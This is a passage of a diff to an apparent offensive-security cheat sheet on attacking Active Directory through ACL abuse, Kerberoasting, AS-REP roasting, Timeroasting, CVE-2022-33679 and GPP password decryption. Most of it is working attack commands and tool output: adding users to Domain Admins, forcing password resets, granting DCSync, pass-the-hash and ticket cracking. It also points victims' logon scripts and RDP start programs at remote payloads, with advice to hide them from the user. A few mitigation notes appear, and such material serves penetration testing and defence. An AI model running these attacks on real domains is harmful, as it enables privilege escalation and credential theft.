Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
|
||||
|
||||
```powershell
|
||||
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
|
||||
```
|
||||
|
||||
## GenericAll
|
||||
|
||||
* **GenericAll on User** : We can reset user's password without knowing the current password
|
||||
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
|
||||
* On Windows : `net group "domain admins" hacker /add /domain`
|
||||
* On Linux:
|
||||
* using the Samba software suite :
|
||||
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
|
||||
* using bloodyAD:
|
||||
`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
|
||||
|
||||
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
|
||||
```powershell
|
||||
# Check for interesting permissions on accounts:
|
||||
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
|
||||
|
||||
# Check if current user has already an SPN setted:
|
||||
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
|
||||
|
||||
# Force set the SPN on the account: Targeted Kerberoasting
|
||||
PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
|
||||
PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
|
||||
|
||||
# Grab the ticket
|
||||
PowerView2 > $User = Get-DomainUser username
|
||||
PowerView2 > $User | Get-DomainSPNTicket | fl
|
||||
PowerView2 > $User | Select serviceprincipalname
|
||||
|
||||
# Remove the SPN
|
||||
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
|
||||
```
|
||||
|
||||
* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
|
||||
* On Windows:
|
||||
```powershell
|
||||
# Modify the userAccountControl
|
||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
||||
|
||||
# Grab the ticket
|
||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||
ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
|
||||
|
||||
# Set back the userAccountControl
|
||||
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||
```
|
||||
* On Linux:
|
||||
```bash
|
||||
# Modify the userAccountControl
|
||||
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True
|
||||
|
||||
# Grab the ticket
|
||||
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
|
||||
|
||||
# Set back the userAccountControl
|
||||
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False
|
||||
```
|
||||
|
||||
|
||||
## GenericWrite
|
||||
|
||||
* Reset another user's password
|
||||
* On Windows:
|
||||
```powershell
|
||||
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
|
||||
$user = 'DOMAIN\user1';
|
||||
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
|
||||
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
|
||||
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
|
||||
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
|
||||
```
|
||||
* On Linux:
|
||||
```bash
|
||||
# Using rpcclient from the Samba software suite
|
||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||
|
||||
# Using bloodyAD with pass-the-hash
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
|
||||
```
|
||||
|
||||
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
|
||||
|
||||
### GenericWrite and Remote Connection Manager
|
||||
|
||||
> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
|
||||
>
|
||||
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
|
||||
|
||||
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
|
||||
|
||||
```powershell
|
||||
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
|
||||
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
|
||||
$UserObject.TerminalServicesWorkDirectory = "C:\"
|
||||
$UserObject.SetInfo()
|
||||
```
|
||||
|
||||
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
|
||||
|
||||
## WriteDACL
|
||||
|
||||
To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
|
||||
|
||||
* WriteDACL on Domain:
|
||||
* On Windows:
|
||||
```powershell
|
||||
# Give DCSync right to the principal identity
|
||||
Import-Module .\PowerView.ps1
|
||||
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
|
||||
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
|
||||
```
|
||||
* On Linux:
|
||||
```bash
|
||||
# Give DCSync right to the principal identity
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
|
||||
|
||||
# Remove right after DCSync
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
|
||||
```
|
||||
|
||||
* WriteDACL on Group
|
||||
```powershell
|
||||
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
|
||||
net group "INTERESTING_GROUP" User1 /add /domain
|
||||
```
|
||||
Or
|
||||
```powershell
|
||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
|
||||
|
||||
# Remove right
|
||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
|
||||
```
|
||||
|
||||
## WriteOwner
|
||||
|
||||
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
|
||||
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
|
||||
```
|
||||
Or
|
||||
```powershell
|
||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
|
||||
```
|
||||
|
||||
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
|
||||
|
||||
|
||||
## ReadLAPSPassword
|
||||
|
||||
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.
|
||||
|
||||
```powershell
|
||||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||||
```
|
||||
Or for a given computer
|
||||
```powershell
|
||||
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
|
||||
```
|
||||
|
||||
|
||||
## ReadGMSAPassword
|
||||
|
||||
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
|
||||
|
||||
```powershell
|
||||
# Save the blob to a variable
|
||||
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
|
||||
$mp = $gmsa.'msDS-ManagedPassword'
|
||||
|
||||
# Decode the data structure using the DSInternals module
|
||||
ConvertFrom-ADManagedPasswordBlob $mp
|
||||
```
|
||||
Or
|
||||
```powershell
|
||||
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
||||
```
|
||||
|
||||
## ForceChangePassword
|
||||
|
||||
An attacker can change the password of the user this ACE applies to:
|
||||
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
|
||||
```powershell
|
||||
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
|
||||
```
|
||||
|
||||
* On Linux:
|
||||
```bash
|
||||
# Using rpcclient from the Samba software suite
|
||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||
|
||||
# Using bloodyAD with pass-the-hash
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
|
||||
```
|
|
@ -1,4 +1,4 @@
|
|||
# Active Directory Recon
|
||||
# Active Directory Enumeration
|
||||
|
||||
## Using BloodHound
|
||||
|
||||
|
@ -79,7 +79,6 @@ cat docker-compose.yml | docker compose -f - up
|
|||
# Password: see your Docker logs
|
||||
```
|
||||
|
||||
|
||||
You can add some custom queries like :
|
||||
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
|
||||
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
|
||||
|
@ -276,5 +275,4 @@ Replace the customqueries.json file located at `/home/username/.config/bloodhoun
|
|||
gpresult /r
|
||||
$Env:LOGONSERVER
|
||||
echo %LOGONSERVER%
|
||||
```
|
||||
|
||||
```
|
|
@ -0,0 +1,96 @@
|
|||
# Roasting - ASREP Roasting
|
||||
|
||||
> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
||||
|
||||
**Requirements**:
|
||||
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
|
||||
|
||||
* [Rubeus](https://github.com/GhostPack/Rubeus)
|
||||
```powershell
|
||||
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
|
||||
[*] Action: AS-REP roasting
|
||||
[*] Target User : TestOU3user
|
||||
[*] Target Domain : testlab.local
|
||||
[*] SamAccountName : TestOU3user
|
||||
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
|
||||
[*] Using domain controller: testlab.local (192.168.52.100)
|
||||
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
|
||||
[*] Connecting to 192.168.52.100:88
|
||||
[*] Sent 169 bytes
|
||||
[*] Received 1437 bytes
|
||||
[+] AS-REQ w/o preauth successful!
|
||||
[*] AS-REP hash:
|
||||
|
||||
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
|
||||
```
|
||||
|
||||
* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
|
||||
```powershell
|
||||
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
|
||||
[*] Getting TGT for svc-alfresco
|
||||
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4
|
||||
|
||||
# extract hashes
|
||||
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
||||
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
||||
```
|
||||
|
||||
* CrackMapExec Module
|
||||
```powershell
|
||||
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
|
||||
LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
|
||||
```
|
||||
|
||||
Using `hashcat` or `john` to crack the ticket.
|
||||
|
||||
```powershell
|
||||
# crack AS_REP messages with hashcat
|
||||
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
||||
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
|
||||
|
||||
# crack AS_REP messages with john
|
||||
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
|
||||
|
||||
|
||||
|
||||
## Kerberoasting w/o domain account
|
||||
|
||||
> In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an **KRB_AS_REQ** request and trick the request to ask for a **ST** instead of a **encrypted TGT**, by modifying the **sname** attribute in the req-body part of the request.
|
||||
|
||||
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
|
||||
|
||||
:warning: You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
|
||||
|
||||
* [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413)
|
||||
```powershell
|
||||
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
|
||||
```
|
||||
* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139)
|
||||
```powershell
|
||||
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
|
||||
```
|
||||
|
||||
|
||||
## CVE-2022-33679
|
||||
|
||||
> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
|
||||
|
||||
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
|
||||
|
||||
**Requirements**:
|
||||
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
|
||||
|
||||
* using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
|
||||
```bash
|
||||
user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
|
||||
user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
|
||||
user@hostname:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
|
||||
* Disable RC4 cipher if possible.
|
|
@ -0,0 +1,84 @@
|
|||
# Roasting - Kerberoasting
|
||||
|
||||
> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
|
||||
|
||||
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
|
||||
|
||||
|
||||
* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
|
||||
```powershell
|
||||
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
|
||||
|
||||
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
|
||||
|
||||
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
|
||||
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
|
||||
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
|
||||
|
||||
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
|
||||
```
|
||||
|
||||
* CrackMapExec Module
|
||||
```powershell
|
||||
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
|
||||
LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
|
||||
LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
|
||||
```
|
||||
|
||||
* [Rubeus](https://github.com/GhostPack/Rubeus)
|
||||
```powershell
|
||||
# Stats
|
||||
Rubeus.exe kerberoast /stats
|
||||
------------------------------------- ----------------------------------
|
||||
| Supported Encryption Type | Count | | Password Last Set Year | Count |
|
||||
------------------------------------- ----------------------------------
|
||||
| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
|
||||
------------------------------------- ----------------------------------
|
||||
|
||||
# Kerberoast (RC4 ticket)
|
||||
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
|
||||
|
||||
# Kerberoast (AES ticket)
|
||||
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
|
||||
Rubeus.exe kerberoast /tgtdeleg
|
||||
|
||||
# Kerberoast (RC4 ticket)
|
||||
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
|
||||
Rubeus.exe kerberoast /rc4opsec
|
||||
```
|
||||
|
||||
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
|
||||
```powershell
|
||||
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
|
||||
```
|
||||
|
||||
* [bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
|
||||
```powershell
|
||||
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
|
||||
```
|
||||
|
||||
* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
|
||||
```powershell
|
||||
# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
|
||||
# print the "kerberoast" hash, and delete the temporary SPN set for that operation
|
||||
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
|
||||
```
|
||||
|
||||
|
||||
Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)
|
||||
|
||||
| Mode | Description |
|
||||
|---------|--------------|
|
||||
| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
|
||||
| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
|
||||
| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
|
||||
|
||||
```powershell
|
||||
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
|
||||
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
|
||||
```
|
||||
|
||||
|
||||
**Mitigations**:
|
||||
* Have a very long password for your accounts with SPNs (> 32 characters)
|
||||
* Make sure no users have SPNs
|
|
@ -0,0 +1,9 @@
|
|||
# Roasting - Timeroasting
|
||||
|
||||
> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
|
||||
|
||||
* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
|
||||
```ps1
|
||||
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||||
hashcat -m 31300 ntp-hashes.txt
|
||||
```
|
|
@ -0,0 +1,25 @@
|
|||
# Active Directory Tricks
|
||||
|
||||
## Kerberos Clock Synchronization
|
||||
|
||||
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
|
||||
|
||||
|
||||
* Detect clock skew automatically with `nmap`
|
||||
```powershell
|
||||
$ nmap -sV -sC 10.10.10.10
|
||||
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
|
||||
```
|
||||
* Compute yourself the difference between the clocks
|
||||
```ps1
|
||||
nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
|
||||
```
|
||||
* Fix #1: Modify your clock
|
||||
```ps1
|
||||
sudo date -s "14 APR 2015 18:25:16" # Linux
|
||||
net time /domain /set # Windows
|
||||
```
|
||||
* Fix #2: Fake your clock
|
||||
```ps1
|
||||
faketime -f '+8h' date
|
||||
```
|
|
@ -0,0 +1,52 @@
|
|||
# Password - Group Policy Preferences
|
||||
|
||||
Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.
|
||||
|
||||
```powershell
|
||||
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
|
||||
```
|
||||
|
||||
Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
|
||||
|
||||
```bash
|
||||
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||||
|
||||
e.g:
|
||||
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||||
|
||||
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||||
```
|
||||
|
||||
|
||||
## Automate the SYSVOL and passwords research
|
||||
|
||||
* `Metasploit` modules to enumerate shares and credentials
|
||||
```c
|
||||
scanner/smb/smb_enumshares
|
||||
post/windows/gather/enum_shares
|
||||
post/windows/gather/credentials/gpp
|
||||
```
|
||||
|
||||
* CrackMapExec modules
|
||||
```powershell
|
||||
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
|
||||
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
|
||||
```
|
||||
|
||||
* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
|
||||
```powershell
|
||||
# with a NULL session
|
||||
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
|
||||
|
||||
# with cleartext credentials
|
||||
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
|
||||
|
||||
# pass-the-hash
|
||||
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
|
||||
```
|
||||
|
||||
## Mitigations
|
||||
|
||||
* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
|
||||
* Delete existing GPP xml files in SYSVOL containing passwords.
|
||||
* Don’t put passwords in files that are accessible by all authenticated users.
|
|
@ -1,4 +1,4 @@
|
|||
## Password - Pre-Created Computer Account
|
||||
# Password - Pre-Created Computer Account
|
||||
|
||||
When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
|
||||
|
Loading…
Reference in New Issue